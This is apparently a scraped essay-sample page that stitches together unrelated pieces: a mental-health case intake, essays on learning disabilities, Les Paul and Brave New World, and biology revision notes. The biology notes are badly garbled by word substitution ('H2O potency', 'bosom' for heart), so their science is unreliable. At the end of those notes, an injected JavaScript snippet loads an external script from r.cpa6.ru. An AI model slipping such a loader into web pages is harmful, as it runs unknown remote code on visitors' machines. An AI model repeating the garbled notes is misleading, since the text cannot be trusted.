The Source Of Referral Was Referred By An Outpatient...

The source of referral was referred by an outpatient mental health provider, through the request of the Los Angeles County Department of Mental Health. The client was referred to obtain in-home intensive services by a Full Service Partnership (FSP) program. The client referenced in this case will be referred as Alyssa in order to protect this person’s true identity by maintaining confidentiality. Alyssa is a 26 year-old Hispanic female, who has been linked recently to the Full Service Partnership (FSP) program. Alyssa presents to be oriented to time, place, person, and situation. At times, she presents well groomed and other times disheveled. Alyssa is currently facing a life-style transition which has stirred up emotions of†¦show more content†¦Currently, she has no desire to engage in social activities which is impaired by feelings of sadness. She also reports that she does not have many friends, but the few she has tend to let her down. Alyssa reports her bes t friend is her biological mother. As for having intimate relationships, she will engage in risky sexual activity with any male she meets at a party. Alyssa reports of having multiple incidents of cutting self on her wrists and inner thighs. She states this makes her feel good when she is unable to deal with emotional pain. She reports of battling with bulimia during her teenage years because she felt her weight was inappropriate. Alyssa denies having an eating disorder or using substance abuse at the present time. Though, she reports of not being able to maintain employment and has also been struggling with completing her GED. Alyssa reports she has many goals but has difficulty with following through. Alyssa grew up with her mother, father and brother. She reports having a close relationship with her biological parents; that was until she turned the age of 6. Alyssa’s biological father left the home because he was an abusive husband. He would verbally and physically abuse her biological mother. Since then, Alyssa and her older biological brother were raised by their biological mother. Alyssa’s highest level of education completion is the 9th grade. She is able to read and write proficiently. As for her

The Development Of Writing And Instruction For Students...

The Development of Writing and Instruction for Students with Learning Disabilities Many students with a learning disability have a hard time grasping the concepts of writing. Having an intervention strategy may help these students when they are learning how to write. A number of studies have been done on trying to determine if using strategies help increase writing performance for students with a learning disability. The four following articles use a variety of interventions to try to increase students’ writing performance that include: (a) a self-regulated strategy, (b) a revision strategy, and (c) a training strategy. They did this by looking at students with learning disabilities and implementing a strategy that may help them. All four of these articles take a further look into the topics of the development of writing and instruction and analyzes the importance of writing for our students with learning disabilities. The studies in each article differ depending on the partic ipants, methods, and strategies, but each one brings important information to this topic. Synthesis Students with learning disabilities need to understand the importance of many crucial topics and skills. Some of the skills that are specifically discussed in these articles when looking at the writing process are (a) planning, (b) organizing, (c) composing, and (d) revising. As teachers, we must explicitly and directly teach these skills in order to ensure that our students know how to implement them.Show MoreRelatedEssay about The Demands of Middle School Writing1471 Words   |  6 PagesAll middle school students, grades 6-8, are required to develop well-written compositions. According to the Louisiana Depart of Education (2008), to meet the demands of the comprehensive curriculum, these students are required to write complex multi-paragraph compositions with a clearly focused main idea and developed with relevant ideas, organization patterns, and structure that communicates clearly to the reader. The grade-level expectation also states that the students are required to use a va rietyRead MoreSpelling: Linking Words to Meaning by John R. Pescosolido1682 Words   |  7 Pagesfor students with disabilities. For textbooks and other instructional materials to enhance learning by all students, instruction policies and practices should promote astute consideration of the learning characteristics of students with disabilities (Fiore Cook, 2004). The purpose of this paper is to guide the modification of the instructional workbook entitled, Spelling: Linking word to meaning, as appropriate to fit the reading and spelling needs of middle school special education students. TheRead MorePROBLEM What is the one subject area that suffers the most during testing? Writing is our country’s1300 Words   |  6 PagesPROBLEM What is the one subject area that suffers the most during testing? Writing is our country’s greatest failure. We need to teach better writing and that happens through better instruction in language arts, mathematics, science, and social studies. Writing can be explained through reading, note taking, and journaling. Students do not write enough and their writing is not from a varied amount of genres, such as expository, narrative, descriptive, persuasive, and journaling and note taking. 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This means that the teacher can individualize instruction for the student. Portfolios are a form of alternative/authentic assessment in which a student s progress is measured over a period of time in various language learning contexts. Portfolios can include evidence of specificRead More Learning Disabilities Essay1293 Words   |  6 PagesLearning Disabilities Approximately 10 percent of the adult population have learning disabilities. Learning disabilities also affect about 5 to 10 percent of school-age children. Most disabilities occur in math, spelling, reading comprehension, oral expression, and written language. The most common learning disabilities are in reading. Children with learning disabilities also have problems with attention, memory, and behavioral problems as a result of frustration. The term learning disabilitiesRead MoreUnderstanding Special Education Essay example1239 Words   |  5 PagesSpecial education involves the education of students with special needs in a way that addresses a students’ individual disabilities and requirements. These programs are designed so that special learners may learn skills which will assist them in coming closer in learning to children without disabilities. The field of special education has moved from a perspective of protection and caretaking to an emphasis on learning and growth. The question is not whether students can learn but how much they can learnRead MorePerformance Goals for a Child with Learning Disabilities Essays586 Words   |  3 Pagesprocessing. Unfortunately, local committee and special education has classified him as Learning Disabled. Learning Disability encompasses numerous types of learning problems. Following are 3 main Learning Disabilities he carries. ol li value=1 Reading li value=2 Writing li value=3 Precision or awareness li value=1 Reading: /ol Most ordinary characteristics of student with Learning Disability is Reading. Carlos has reading obscurity, most of the time he lose his place when

Les Paul Free Essays

Thesis Statement Within the very foundation of rock, blues, jazz and pop, the very same inventions of Les Paul denotes guitar-heavy music with an extreme debt owed to him.   Les Paul guitar models, Telecaster and the Gibson, are the most popular electric guitars among rock performers. The effects have been wide ranging, from rock and rolls Grateful Dead guitarist Jerry Garcia to legendary jazz great Duke Ellington, Les Paul has had a profound influence on musicians not only in the United States but around the world as they listened to his records and copied his style. We will write a custom essay sample on Les Paul or any similar topic only for you Order Now The history of the modern jazz guitar began with many who played with Benny Goodman, (In Los Angeles in 1942, Les played with Nat King Cole on â€Å"Blues†). During his years on the main jazz scene, he revolutionized guitar playing. To be sure, there were guitarists with a longer history but it almost seems as if there are two different types of guitars.   What played before Les Paul and what played after he finished. Before Paul, the guitar was essentially an instrument of rhythm and harmonic accompaniment. Paul was known interestingly enough to develop guitar leads as he was simply creating the sound of many guitars and singers from one guitar and one voice. From the development of the electric guitar to the tape recorder were all possible only through the innovative vision of Les Paul.   Paul’s ingenious overdubbing or layered construction process of recording music was revolutionary. Les Paul Examining the development of original American music, whether it’s blues, country, jazz or rock, the reader has found, intertwined that in American music all roads lead to the guitar which in turn leads to Les Paul. Like all ironies of the truth, Les Paul’s interest in music began at age eight with an interest in the harmonica.   It’s been said the inspiration came from a Waukesha ditch digger. Even though he played the piano professionally, his formal musical training consisted of a few unsuccessful piano lessons. A bad automobile accident in Oklahoma in January 1948 almost silenced his music forever.  Ã‚   He could not play the guitar for a year and a half.   It also gave him two choices; the first was to have the arm amputated or have the right arm set at a permanent right angle suitable for guitar playing.   Clearly he chose the latter. Les Paul is the most significant contributor in the development of modern electric instruments and recording technology. Paul has lead the way in the development of the Gibson Les Paul guitar, bearing his name; the solid-body electric guitar.   This concept was developed under his design. To this day, the Gibson is one of the most well known and market tested models that still stands up as an excellent product.   On merits of its own that would satisfy as a single most important contribution to the music industry, Les Paul also the developed the multi-track recording process and various reverb and echo effects. Technically, the guitar is a fretted, stringed instrument, and is a member of the lute family.   Originating from Persia, the instrument reached Spain during the 12th century. Through the years, the guitar has shown versatility as both a solo and accompanying instrument. In essence, Paul was unsatisfied by the electric guitars available in the mid 1930s so he began to experiment with the design the basic guitar. The product solved two main problems for guitar players; the â€Å"feedback† and â€Å"sustain† issues, respectively. Les Paul designed and constructed one of the first solid-body electric guitars in 1941.   Based on Paul’s designed in the early 1950’s, the Gibson Guitar Corporation of Nashville, Tennessee designed a guitar integrating Paul’s properties. Subsequently, the company and Paul got together and professional relationship was established. Hence, what is now known as the â€Å"Les Paul† model was born. Originally it was developed only in a â€Å"gold top† version which was the central part of the agreement between Paul and Gibson.   However there were a few rough spots along the way between the two entities. Gibson Les Pauls were modified by the company over the years and clearly Paul always preferred to oversee the process.   But in the end Paul resumed his relationship with Gibson, and endorses the instrument even today. To this day, the Gibson Les Paul guitar is used all over the world, both by novice and professional guitarists. Multi-track recording In an experiment that bean in Les Paul’s garage, Paul played eight different parts on electric guitar, some of them recorded at half-speed, hence â€Å"double-fast† when played back at normal speed for the master. Paul would record a track onto a disk, and then record himself playing another part with the first. This was the first time that multi-tracking had been used in a recording. Capitol Records released the recording â€Å"Brazil† in 1947. â€Å"As multi-track recording gradually became standard practice in rock, the distinction between recording and mixing as separate stages of a project grew. It is not uncommon at the mixing stage to move a project to a different studio or to hand over recorded tracks to a new engineer. (Zak, pg 128) Making records is intrinsically a collaborative creative process, involving the efforts of a team whose members interact in various ways. Because of Les Paul’s the â€Å"artist† is mostly the tasks involved in making a record. Pre and post production has become the foundation to many artists’ careers, once again thanks to Les Paul. Without equal, even within today’s music industry a legacy of innovations has been handed down by Les Paul and taken up by Van Halen, Joe Satriani and Steve Vai’s playing and guitar designs as they too help to redefine the instrument. (Bennett, pg 7) Les Paul has had a staggeringly life long influence over the way American and world popular music has sounded over the last 5 generations.   Even today the influence is honored and recognized and as on of the most significant impact upon the jazz, blues, rock, hip hop music worlds. What seems most striking about Les Paul, even at the age of 91, is how he has bridged popular music-making and technology. Paul touches on what will be central issues in the aesthetics of production and reception in pop: relations between the performers’s body and instrument, how sounds are attached to instruments and the way musical sounds. And because of him, in homes that could scarcely afford furniture of any kind, let alone a piano, the heart of the musician, found its outlet wood or metal across which a few wire strings. Reference(s) Zak III, Albin J.  Ã‚   The Poetics of Rock: Cutting Tracks, Making Records. Publisher: University of California Press. Place of Publication: Berkeley, CA. Publication Year: 2001. Page Number: 128. Bennett, Andy Guitar Cultures Publisher: Berg. Place of Publication: New York. Publication Year: 2001. Page Number: 7.             How to cite Les Paul, Essay examples

Gas Exchange Essay Research Paper Gas Exchange free essay sample

Gas Exchange Essay, Research Paper Gas Exchange 3.1 # 216 ; Surface country to volume ratio # 216 ; Exchange of gases occurs by diffusion at surface Whereas # 216 ; Production of wastes and usage of resources occurs in the volume # 216 ; Therefore, as organisms addition in size they have proportionally less surface country compared to volume # 216 ; Adaptations ? level, thin, ribbed organic structures increase exchange surfaces 3.2 # 216 ; As beings get larger? they must hold exchange surfaces within them # 216 ; all are damp, thin permeable, big surface country Plants Spongy/Palisade Mesophyll Air straight contacts cells Insects Ends of tracheoles Air straight contacts cells Fish Gill Lamellae O2 absorbed by blood pigments so delivered to cells Mammals Alveoli O2 absorbed by blood pigments so delivered to cells Ventilation # 216 ; Aim ? maintain concentration gradient # 216 ; Remove CO2 rich O2 hapless air # 216 ; Supply O2 rich CO2 hapless air # 216 ; Move respiratory medium over exchange surface # 216 ; Insects ? larger insects make pumping motions of the venters, which crushes the air pouch and helps to travel air # 216 ; Fish ? travel operculum out, buccal pit up? hence one manner flow of H2O over the gill gill? counter current flow of H2O against the way of blood flow # 216 ; Mammal ? Tidal flow of air? motion of stop and ribs Control of Breathing # 216 ; Involuntary # 216 ; Respiratory Centre is bundle of nervousnesss in myelin oblongata # 216 ; Urges are sent to the stop and external intercostal musculuss doing them to contract # 216 ; As lungs expand stretch receptors in airway sense and direct back info # 216 ; Meeting Demand # 216 ; CO2 degrees vary harmonizing to exercising # 216 ; As Carbon dioxide goes up? pH goes down # 216 ; Chemoreceptors sense this # 216 ; Receptors in the myelin oblongata # 216 ; Carotid organic structures in the carotid arteries # 216 ; Aortal organic structures in the aortal arch # 216 ; As chemoreceptors sense addition in CO2 or lessening in pH, urges are sent to the respiratory Centre, this sends impulses to the stop and intercostal musculuss increase the rate of airing. We will write a custom essay sample on Gas Exchange Essay Research Paper Gas Exchange or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Oxygen/Haemoglobin Dissociation Curves 3.7 ( portion ) # 183 ; Red blood cells contain hemoglobin ( Hb ) which transports all of the O around your organic structure and most of the CO2 # 183 ; Each Hb molecule can transport up to four O2 molecules.However, # 183 ; The relationship between O2? concentration ( partial force per unit area of O2 P O2 ) and how much is taken up by Hb ( % impregnation ) is non additive, it is # 8216 ; S # 8217 ; shaped ( sigmoid ) # 183 ; This is because a wholly # 8216 ; empty # 8217 ; Hb molecule takes up the first O2 instead # 8216 ; reluctantly # 8217 ; , so takes up the staying three quickly, and eventually it is # 8216 ; full # 8217 ; and won # 8217 ; Ts take up any more. # 183 ; Loading: In the lungs the pO2 is really high, so Hb is # 8216 ; filled up # 8217 ; ( saturated ) with O2, represented by the level # 8216 ; top # 8217 ; of the curve # 183 ; Transporting: As the Hb travels through arterias and arteriolas, pO2 beads, but non plenty for the Hb to give up any O, we are still in the level part at the top. # 183 ; Droping: When the Hb reaches capillaries which are following to actively respiring cells, pO2 is much lower, due to O being consumed to do ATP. Here, Hb is # 8216 ; emptied # 8217 ; of its O, which diffuses to the cells. This is represented by the steep portion of the curve in the center of the # 8216 ; S # 8217 ; . # 183 ; The relationship between P O2 and Hb impregnation is non fixed, the form of the curve alters in response to assorted conditions: Condition Effect on curve Overall consequence Increased pCO2 Shifts to the right ( Bohr displacement ) At any given pO2, Hb will be less concentrated, so O will be given up more easy Increased temperature Shifts to the right At any given pO2, Hb will be less concentrated, so O will be given up more easy Increased pH ( alkaline ) Shifts to the left At any given pO2, Hb will be more concentrated, so O will be given up less easy # 183 ; This makes good sense, if cells are actively respiring they produce CO2, heat up and go more acidic ( due to fade out CO2, and production of lactic acid ) , all these things cause the curve to travel to the right, so O is given up easy. This O is exactly what actively respiring cells need! # 183 ; Other illustrations: Foetal Hb is to the left of its female parent # 8217 ; s ( so it can # 8217 ; steal # 8217 ; O from her blood via the placenta ) . Myoglobin, in musculuss has a curve to the left of Hb ( it besides # 8217 ; bargains # 8217 ; O from Hb, and retains it as a shop and merely gives it up at really low pO2 ) . # 183 ; Finally, Hb carries CO2 by agencies of a series of reactions ( catalysed by carbonaceous anhydrase ) which consequence in the production of H ions and hydrogencarbonate ions. The H ions are taken up by Hb, intending that Hb acts as a buffer, absorbing extra acid. The hydrogencarbonate diffuses into the plasma, in exchange for chloride ions ( the chloride displacement ) .CARDIAC CYCLE AND ITS CONTROL # 183 ; The bosom musculus is? myogenic ( contracts without stimulation ) # 183 ; The sino-atrial node coordinates the bosom round so that the musculus cells contract together. # 183 ; The SAN is in the right atrium next to the vein cava # 183 ; Specialised musculus ( Purkinje ) fibres radiate out from the node and do atrial contracton ( systole ) # 183 ; These stimulate the AVN, on the septum at the junction of the atria A ; ventricles # 183 ; The AVN causes a clip hold which ensures the ventricle contracts after the atria # 183 ; The package of His ( Purkinje fibres ) pass down the septum to the vertex of the ventricles # 183 ; These first cause contraction of the papillose musculuss which tenseness the cuspid valves # 183 ; Ventricular systole radiates upwards from the vertex # 183 ; Once the electrical stimulation has died away the bosom Chamberss relax ( diastole ) CONTROL OF HEART RATE # 183 ; The SAN sets a resting bosom rate # 183 ; Blood O2 A ; CO2 degrees are detected by chemoreceptors of the Aortic A ; Carotid bodies # 183 ; These send nervus urges to the cardiovascular Centre of the myelin # 183 ; The myelin has chemoreceptors which besides detect CO2 # 183 ; If CO2 drops the CV Centre sends nerve urges along parasympathetic nervousnesss to the SAN, which reduces bosom rate ( vagus nervus ) # 183 ; If CO2 goes up the CV Centre sends nerve urges along sympathetic nervousnesss to the SAN, which increases bosom rate ( gas pedal nervus ) # 183 ; Epinephrine can besides move straight on the SAN, mirroring the consequence of sympathetic nervousnesss # 183 ; CO2? dissolves in H2O to let go of H ions which decrease the pH and increase the sourness # 183 ; The bosom rate is controlled so that the demands of the organic structure are met with the minimal cardiac end product. ? PRESSURE A ; VOLUME CHANGES A ; VALVES # 183 ; Valves stop the backflow of blood within the bosom and as blood exits the bosom # 183 ; Muscular contraction ( systole ) causes an addition in hydrosatic force per unit area in the bosom. # 183 ; When the valves open the volume of the bosom chamber lessenings # 183 ; Blood ever attempts to flux from high to low force per unit area unless valves stop it # 183 ; Valves open or near when force per unit area lines cross ( on graph ) # 183 ; The bosom empties from the underside up. ELECTRICAL ACTIVITY # 183 ; P is the hint produced by stimulation of atrial systole # 183 ; QRS is the hint produced by venricular systole CIRCULATION AND BLOOD VESSELS # 183 ; Blood leaves the bosom in jets when the ventricle contacts # 183 ; In arterias, this is foremost pushed along by snap and so by a peristaltic pulsation # 183 ; In the tissue capillaries this is smoothed out to a changeless flow by the arteriolas, in the lungs, the blood continues to flux in pulsations # 183 ; Throughout circulation there is a force per unit area bead # 183 ; Fluid leaves the arteriolas and bathes the tissues, because the hydrostatic force per unit area outwards exceeds the difference in H2O possible ( osmotic force per unit area ) # 183 ; Most is drawn back into the venulas by the solute potency of the blood proteins ( osmotic potency ) , some returns via the lymph # 183 ; Blood flow is the fastest where the entire cross sectional country is least. # 183 ; The same volume of blood must come in and go forth the bosom per minute but the force per unit area is different Digestion Q Mammals have a intestine to digest so absorb nutrient Q The generalized construction of the mammalian intestine wall Q Epithelium Q Lumens? ? Q Muscle beds? ? Q How different parts of alimental canal are adapted for their functionq Motion of nutrient through vermiculation Q How? ? Q Sites of production and action of Amylases? Mouth Starch to Maltose Endopeptidases Stomach/Pancreas? Pepsin/Trypsin Polypeptides into smaller ironss Exopeptidases Pancreas and intracellular ( little intestine epithelial cells ) Cuts di and tripeptides into single amino acids Lipase Pancreas Fats into monoglycerides and fatty acids Maltase intracellular ( little intestine epithelial cells ) Breaks maltose into glucose Bile Liver Not an enzyme? emulsifies fats into smaller droplets q Mechanisms for soaking up in the ileumq Structure of a liver lobuleq Control of Digestive Secretions Q Nervous? sight odor Q Hormonal Gastrin Presence of nutrient in the tummy Stomach secretes pepsin and hydrochloric acid? Begins muscular motion of tummy Cholecystokinin Presence of acidified chyme in duodenum causes cells in the mucous membrane of duodenum to release endocrine into blood stream Pancreas secretes enzymes? Gall vesica secretes bile Secretin Presence of acidified chyme in duodenum causes cells in the mucous membrane of duodenum to release endocrine into blood stream Effectss liver ( gall ) and Pancreas? fluid? non? enzymic constituents of pancreatic juice Q Liver Q Blood sugar Q Glycogenesis doing animal starch from glucose Qs Glycogenolysis interrupting up animal starch into glucose Q Gluconeogenesis? doing glucose from non-carbohydrate beginnings ( fats and proteins ) q Functions of insulin ( traveling down ) and glucagon ( traveling up ) in commanding blood sugar levelsq Transamination? altering one amino acid into another ? non possible to synthesis indispensable amino acids ( must be obtained from diet3.8? ? ? ? ? ? ? ? ? Elimination and OsmoregulationMost inquiries in the test ask about some, or all, of the followers: # 183 ; The kidney, specifically: # 183 ; which substances move, # 183 ; in which way and why, # 183 ; how this is controlled. # 183 ; What other animate beings do, peculiarly one-celled? animate beings, fish ( which both excrete ammonium hydroxide straight into H2O ) and insects ( which excrete solid uric acid ) and why. # 183 ; Deamination and the ornithine rhythm ( learn and regurgitate! ) . The Kidney # 183 ; Everything the kidney does is done in the uriniferous tubules ( about a million per kidney ) # 183 ; First, the blood is filtered at the glomerulus. All the constituents of the blood are squeezed through the filter into Bowman # 8217 ; s capsule, except proteins and cells. Reabsorption # 183 ; Glucose, aminic acids and mineral ions are actively reabsorbed into the blood in the proximal convoluted tubule. # 183 ; Water, by osmosis is besides reabsorbed to equilibrate the concentration. # 183 ; Changing sums of salts and H2O are reabsorbed from the distal convoluted tubule. # 183 ; Changing sums of H2O are reabsorbed from the roll uping canals. # 183 ; Some toxicant substances are secreted, actively, into the proximal convoluted tubule.Generating Concentrated Urine # 183 ; go uping limb impermeable to H2O but actively pumps out Na chloride ( salt ) so the fluid in the go uping limb gets more and more dilute. # 183 ; tissue fluid environing cringle has sodium chloride pumped into it from go uping cringle and hence becomes more concentrated. # 183 ; falling limb loses H2O to the environing tissue fluid, passively, by osmosis, but is impermeable to sodium chloride, so salt doesn # 8217 ; t follow. # 183 ; The high Na chloride concentration in the tissue fluid around the cringle draws H2O out of the nearby collection canal, by osmosis.Antidiuretic Hormone ( ADH ) controls the volume and H2O potency of the blood # 183 ; Osmoreceptors in hypothalamus are sensitive to H2O potency of the blood # 183 ; Drop in H2O potency ( more concentrated ) consequences in release of ADH from pituitary secretory organ # 183 ; ADH causes the usually impermeable roll uping canal and distal tubule walls to go more permeable ensuing in more H2O being reabsorbed into the blood and the urine going more concentrated and of a gt ; smaller volume Aldosterone controls the volume and Na ( Na+ ) content of the blood # 183 ; Drop in blood volume detected by cells in the kidney ( juxtaglomerular cells ) , which is by and large associated with low blood Na+ . # 183 ; A complex concatenation of events causes aldosterone to be released from the cerebral mantle of the adrenal secretory organ. # 183 ; Aldosterone causes the distal tubule to resorb more Na+ , which increases blood Na+ and volume. # 183 ; Finally, the kidney helps to command blood pH, by releasing extra acid or base into the distal convoluted tubule ( so the pH of piss can change, but blood pH remains the same ) .Revision notes on Xylem and Phloem ( 3.7? portion ) Root construction Angstrom cross subdivision of a root shows that the vascular tissues occur in packages at regular intervals around the outer portion of the root. The Centre of a root is filled with pith. The outermost bed of the root is rainproof with lenticels for gas exchange. Each package consists of bast on the outside and xylem on the interior with the cambium in between. ? There may besides be sclerenchyma fibers exterior to the bast to give excess strength. ? The cambium is meristematic bring forthing new xylem and bast as the root additions in girth. At the nodes of the root subdivisions in the vascular packages occur so that the vascular packages enter the leafstalks of foliages as good as go oning up the root. In woody workss the vascular tissue forms a complete ring around the root and the Centre of the root becomes filled with xylem ( wood ) as the works gets bigger. Xylem structureXylem consists of xylem vass and tracheids every bit good as parenchyma tissue. ? The vass are made from columns of cells in which the terminal walls hold broken down to go forth a long tubing. ? These cells die as they become specialized because their walls become impregnated with lignin which is non permeable. The net consequence is a tubing of xylem elements in which there is no cytol. ? Xylem vass remain in contact via cavities in their sidelong ( side ) walls. ? Tracheids are besides dead but each tracheid has a pointed terminal and overlaps the 1s above and below, the tracheids besides have connexions via cavities. Between the vass and tracheids is xylem parenchyma. Xylem functionXylem carries H2O and ions from the roots to the root, leaves, flowers and fruits. Water travels upwards in the xylem because of the transpiration pull caused by vaporization of H2O from the cells of the foliage followed by diffusion of H2O vapor through the pore i.e. transpiration ( besides acquire some transpiration through the cuticle ) . The uninterrupted column of H2O in the xylem does non separate due to forces of coherence between the H2O molecules. ? These forces are made possible because H2O is a polar molecule and H2O molecule have hydrogen bonds between them and they besides adhere to the walls of the xylem vessel. ? This is known as the COHESION TENSION THEORY of H2O motion. Conveyance in the xylem is an illustration of MASS FLOW. Because the cytol has gone from the xylem and the terminal walls of the vass have disintegrated so there is no barrier to the flow of H2O up the xylem. ? Water can go forth the xylem through the cavities to travel into next tissues. Ions absorbed in the roots besides move upward in the xylem dissolved in the H2O Water enters the xylem after it has been absorbed and has travelled across the root to the cardinal vascular package of the root. ? Capillarity and Root force per unit area besides play a portion in H2O motion in works but neither can explicate how H2O can go to the top of trees. EvidenceEvidence for the coherence tenseness theory of H2O motion comes from the fact that H2O in the xylem is under tenseness so air enters the xylem if the xylem is damaged and by the fluctuation in the girth of trees at different times of the day. ? Water can be shown to travel up the xylem by leting a root to take up dye. ? Motion of H2O in the xylem is wholly inactive ( it continues if the works is poisoned so that it can non do ATP ) , that means that no chemical energy is expended in H2O motion through the xylem.Phloem StructureThe bast in a works forms merely a really this bed about the same thickness as a piece of paper. Phloem tissue consists of screen tubings, comrades cells and bast parenchyma. ? All phloem tissue is life ( unlike xylem ) although the cytol of the screen tubing is extremely specialised and has a decreased figure of cell cell organs. The screen tubing consist of a column of cells formed end to end. ? Between each cell the cell wall has a figure of holes so that it has the visual aspect of a screen and this is known as the screen plate. ? The cytol of the screen tubing is modified and contains no mitochondria. ? Adjacent to each screen tubing is a comrade cell which has a really heavy cytol and which supplies energy for the screen tubing. The sieve tubing carry sugar up and down the plant. ? They are loaded with sugars in the foliages and so the sugar moves in solution either up or down the works to where it is needed.Theories of Phloem Transport1. Pressure flow 2. Cytoplasmic streaming 3. Electro-osmotic flowNo one theory provides a wholly satisfactory account to flow. The most recognized theory is the force per unit area flow theory that provinces that sugars are loaded into the bast in an country of high concentration, the beginning, and are so transported by mass flow to an country of low concentration, the sink, where they are unloaded. ? This theory allows for substances to travel both up and down the plant. ? Movement of substances in the bast is an active procedure necessitating ATP.Evidence for1. The contents of the bast have a positive pressure- they exude fluid when cut and aphid stylets exude fluid when they penetrate the bast. 2. Experiments have shown a concentration in the bast contents with the highest concentration near the source-analysis of exudations from aphid stylets 3. A physical theoretical account of this theory maps 4. Viruss can be moved in the phloem. ? This must be mass flow as they are nor in solution and are hence non able to travel by diffusion.Evidence against1.Sugars and amino acids have been found to travel in different waies in the same vascular package. 2. Phloem conveyance may non happen in the way of the deepest sink. 3. The screen home base is an hindrance to mass flowExperiments used to look into mass flowRadioactive tracers. ? These are introduced via radioactive C dioxide and photosynthesis and the way traced by autoradiography.Ringing experiments. ? The bast is removed in a ring around the root and this stops flow in the bast. ? Shows that sugars, aminic acids and salts are transported in the phloem.Use of Aphids for sampling3.6? ? ? ? ? ? ? ? ? Exchange of Water and Ions in PlantsMost inquiries in the test ask about some, or all, of the followers: # 183 ; Root construction and map ( peculiarly mineral soaking up ) # 183 ; Stomata and transpiration ( and factors impacting transpiration ) # 183 ; Features of desert plants ( workss that live in really dry conditions ) Root construction and map: # 183 ; Root construction? learn the typical layout of tissues in roots ( Support Booklet p.20 ) and how it differs from stems. # 183 ; Root map: # 183 ; Water and minerals are absorbed through root hairs and base on balls through the cells of the cerebral mantle. # 183 ; These substances can travel through the porous cell walls in the cerebral mantle, instead like H2O soaking through paper, this is called the apoplast tract. # 183 ; Water and minerals can besides go through through the living portion of these cells ( cell membrane, cytol etc. ) ? the symplast tract. # 183 ; The cells of the cerebral mantle besides contain big vacuoles, and substances can go through through these ( every bit good as the cytol etc. ) ? the vacuolar tract. # 183 ; Between the cells of the cerebral mantle and the xylem and bast is a bed of cells called the endodermis. These cells have a particular waterproof bed in portion of their cell walls, organizing the Casparian strip. This forces H2O and minerals to take the symplast tract through the endodermis. # 183 ; Because all cell membranes are selectively permeable, this allows the cells of the endodermis to command the sum of each mineral taken into the xylem: Substance Method of conveyance across endodermis Reason Water Osmosis Water is drawn up xylem in transpiration watercourse ( see 3.7 ) Minerals at a higher concentration in dirt than works cells Facilitated diffusion These can flux down their concentration gradient into the works Minerals at a lower concentration in dirt than works cells Active conveyance ( requires ATP ) These must be moved against their concentration gradient into the works Toxins Transport blocked or inhibited Mechanism unknown ( Water and minerals so pass up the root in the xylem # 8211 ; see 3.7? and enter the foliages ) Stomata and transpiration # 183 ; 99 % of the H2O that goes up the xylem evaporates into air infinites in the foliages, and diffuses out through the pore as H2O vapor, this is transpiration. # 183 ; Anything that affects the concentration gradient of H2O vapor from works to air will hence affect the rate of transpiration: Factor Effect on rate of transpiration Reason Increased light strength Increases Stomata unfastened wider in visible radiation ( see below ) Increased humidness Decreases Decreased concentration gradient ( humid air around foliages ) Increased air motion Additions Increased concentration gradient ( humid air around foliages blown off ) Increased temperature Increases More rapid vaporization from leaves Dry dirt around roots or high salt concentration ( e.g. sea H2O ) Decreases Decreased consumption of H2O into roots, hence less available in foliages ( The rate of transpiration can be measured with a potometer ) . # 183 ; Clearly, pores are really of import in transpiration, as most of the H2O vapor base on ballss through them. They normally open in the visible radiation and shut in the dark ; they besides close when H2O supply to the roots is really poor. # 183 ; Stomatal gap is controlled by the two guard cells which surround each pore. The cell wall on the interior surface is much thicker than on the outer surface. As these cells become bombastic ( crestless wave ) they bend outwards, doing the pore to open ( you can show this by lodging cellulose tape on one side of a allantoid balloon so blowing it up, it bends off from the cellulose tape ) . # 183 ; There are two hypotheses to explicate how guard cells change their form: # 183 ; The K motion hypothesis provinces that K ions ( K+ ) are pumped into the guard cells, by active conveyance. This lowers their H2O potency, H2O flows in by osmosis, the guard cells become bombastic and stomata unfastened. The contrary procedure stopping points pore. This hypothesis is the most widely accepted. # 183 ; The starch-sugar hypothesis provinces that there is a balance between sugars ( soluble ) and amylum ( indissoluble ) controlled by two enzymes with different optimal pH # 8217 ; s. The enzyme which converts amylum into sugar has a high optimal pH ( alkaline ) , which is produced in the twenty-four hours, because acidic CO2 is used up in photosynthesis. Therefore, sugar accumulates, H2O potency beads, H2O enters, cells become bombastic, stomata unfastened. The enzyme which converts sugar to amylum has a low optimal pH ( acidic ) , which is produced at dark, because CO2 is produced by respiration ( no photosynthesis ) . Starch accumulates, but because amylum is indissoluble H2O potency rises, H2O foliages, guard cells lose turgidness, pore near. This hypothesis is non widely accepted.Xerophytes # 183 ; These are workss that are adapted to populate in really dry conditions by holding some, or all, of the undermentioned characteristics: # 183 ; A really thick, waxen cuticle to cut down vaporization of H2O through this portion of the foliage ( epidermal transpiration ) . # 183 ; Stomata sunk into cavities, which trap a bed of humid around them, so cut downing transpiration. # 183 ; Hairs around pores, once more pin downing a bed of humid air. # 183 ; Few, little foliages ; frequently rolled into a tubing. This reduces surface country for transpiration, and humid air is besides trapped inside the inrolled foliage. # 183 ; Shutting pore in the twenty-four hours, when it is hot, and opening them at dark, cut downing vaporization. ( such workss take in CO2 at dark, shop it? as an organic acid and so interrupt the acid down in the twenty-four hours to let go of the CO2, internally, for photosynthesis. This is called CAM photosynthesis ) . # 183 ; Storage of H2O in thick roots and foliages ( these workss are called succulents ) . # 183 ; Deep, tap roots to pull up H2O from deep dirt beds. # 183 ; Roots really near to the dirt surface, to absorb condensation which forms at dark. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

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Essay on Bart Marx

Essay on Bart Marx Essay on Bart Marx In a world where everything is â€Å"fair† and â€Å"equal† containing flawless people, one man’s â€Å"misfortunate† can be life threatening. Bernard Marx is one of the elite groups in his world, however his height and his genes forces him into a lower caste than what he truly is. This makes him an unusual character because he doesn’t’t fit in any group, and has many emotions but cannot do anything about it, he wants to be an individual and cannot become one because of his lack of courage. Bernard is emotional and depressed and he lacks confidence due to anxiety about rejection. He is an Alpha Plus, but he feels and is accepted as if he is lower than that. That is because of the belief that when he was being born he had alcohol in his blood surrogate, and that has led him to be short and unusual in the public’s view. He is rejected from the Alpha Plus group because of his unusual size, and he is rejected from everyone else because he is in a higher status than them, and they don’t mix with his type. This leaves him to be a complete loner in his society, because of his lack of genetic scheme it forces him to not be able to join a certain clichà ©. Bernard is truly emotional, wanting to be a free man who wants to be courageous and brave and to lead himself to higher goals. Even though he wants to be brave and courageous his actions aren’t there. He is an individual who feels strong and wants to act freely, but cannot 